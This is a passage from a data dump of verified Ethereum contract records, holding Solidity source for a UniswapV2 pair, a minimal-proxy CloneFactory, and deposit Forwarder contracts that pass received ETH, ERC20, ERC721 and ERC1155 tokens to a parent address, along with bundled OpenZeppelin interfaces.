uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 \|\| amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 \|\| amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1	19,499,690	381379ca21fbcdc5dfc7396f93a0cf926e80ceefdb2330c1221a2178f33385b8	27dd8e7efe2dfdb40495356e6451b823a5ccb51675ffb8f2f4f1598d7e989a0f	3aeb5831f91d29b3992d659821a7fed7b805a107	ffa397285ce46fb78c588a9e993286aac68c37cd	ea365f80d4b436df756800e4a8744481e5ac0248	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,694	f26decb50e78d68de581fa0a3f86d6c74d94e500d2ce29c232588aa5ed14063f	77eee441c8a71402c9d976b87e671781cba62fb0559d6747c131e00076c57a67	76158dc803ed3d97d4ad6ab0e42d8782278b21eb	29ef46035e9fa3d570c598d3266424ca11413b0c	becddd2ab96d186ed5d3eb78a37cdb9849088a17	3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3	{{ "language": "Solidity", "sources": { "contracts/Forwarder.sol": { "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/*\n Contract that will forward any incoming Ether to the creator of the contract\n \n /\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /*\n Initialize the contract, and sets the destination address to that of the creator\n /\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /\n Modifier that will execute internal code block only if the sender is the parent address\n /\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /\n Modifier that will execute internal code block only if the contract has not been initialized yet\n /\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /\n Default function; Gets called when data is sent but does not match any other function\n /\n fallback() external payable {\n flush();\n }\n\n /\n Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n /\n receive() external payable {\n flush();\n }\n\n /\n @inheritdoc IForwarder\n /\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /\n @inheritdoc IForwarder\n /\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /\n ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n \n @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n /\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /\n @inheritdoc IERC1155Receiver\n /\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /\n @inheritdoc IERC1155Receiver\n /\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /\n @inheritdoc IForwarder\n /\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /\n @inheritdoc IForwarder\n /\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /\n @inheritdoc IForwarder\n /\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /\n @inheritdoc IForwarder\n /\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /\n Flush the entire balance of the contract to the parent address.\n /\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /\n @inheritdoc IERC165\n /\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId \|\|\n super.supportsInterface(interfaceId);\n }\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/\n @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n \n _Available since v3.1._\n /\ninterface IERC1155 is IERC165 {\n /\n @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n /\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /\n @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n /\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /\n @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n /\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /\n @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n \n If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n /\n event URI(string value, uint256 indexed id);\n\n /\n @dev Returns the amount of tokens of token type `id` owned by `account`.\n \n Requirements:\n \n - `account` cannot be the zero address.\n /\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /\n @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n \n Requirements:\n \n - `accounts` and `ids` must have the same length.\n /\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /\n @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n \n Emits an {ApprovalForAll} event.\n \n Requirements:\n \n - `operator` cannot be the caller.\n /\n function setApprovalForAll(address operator, bool approved) external;\n\n /\n @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n \n See {setApprovalForAll}.\n /\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /\n @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n \n Emits a {TransferSingle} event.\n \n Requirements:\n \n - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n /\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /\n @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n \n Emits a {TransferBatch} event.\n \n Requirements:\n \n - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n /\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/\n @dev Required interface of an ERC721 compliant contract.\n /\ninterface IERC721 is IERC165 {\n /\n @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n /\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /\n @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n /\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /\n @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n /\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /\n @dev Returns the number of tokens in ``owner``'s account.\n /\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /\n @dev Returns the owner of the `tokenId` token.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /\n @dev Transfers `tokenId` token from `from` to `to`.\n \n WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n \n Emits a {Transfer} event.\n /\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /\n @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n \n Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n \n Requirements:\n \n - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n \n Emits an {Approval} event.\n /\n function approve(address to, uint256 tokenId) external;\n\n /\n @dev Returns the account approved for `tokenId` token.\n \n Requirements:\n \n - `tokenId` must exist.\n /\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /\n @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n \n Requirements:\n \n - The `operator` cannot be the caller.\n \n Emits an {ApprovalForAll} event.\n /\n function setApprovalForAll(address operator, bool _approved) external;\n\n /\n @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n \n See {setApprovalForAll}\n /\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /\n @dev Safely transfers `tokenId` token from `from` to `to`.\n \n Requirements:\n \n - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n \n Emits a {Transfer} event.\n /\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/\n @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n /\ninterface IERC721Receiver {\n /\n @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n \n It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n \n The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n /\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/\n @dev _Available since v3.1._\n /\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /\n @dev See {IERC165-supportsInterface}.\n /\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId \|\| super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/ERC20Interface.sol": { "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/\n Contract that exposes the needed erc20 token functions\n /\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n" }, "contracts/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 \|\| abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n" }, "contracts/IForwarder.sol": { "content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /\n Sets the autoflush721 parameter.\n \n @param autoFlush whether to autoflush erc721 tokens\n /\n function setAutoFlush721(bool autoFlush) external;\n\n /\n Sets the autoflush1155 parameter.\n \n @param autoFlush whether to autoflush erc1155 tokens\n /\n function setAutoFlush1155(bool autoFlush) external;\n\n /\n Execute a token transfer of the full balance from the forwarder token to the parent address\n \n @param tokenContractAddress the address of the erc20 token contract\n 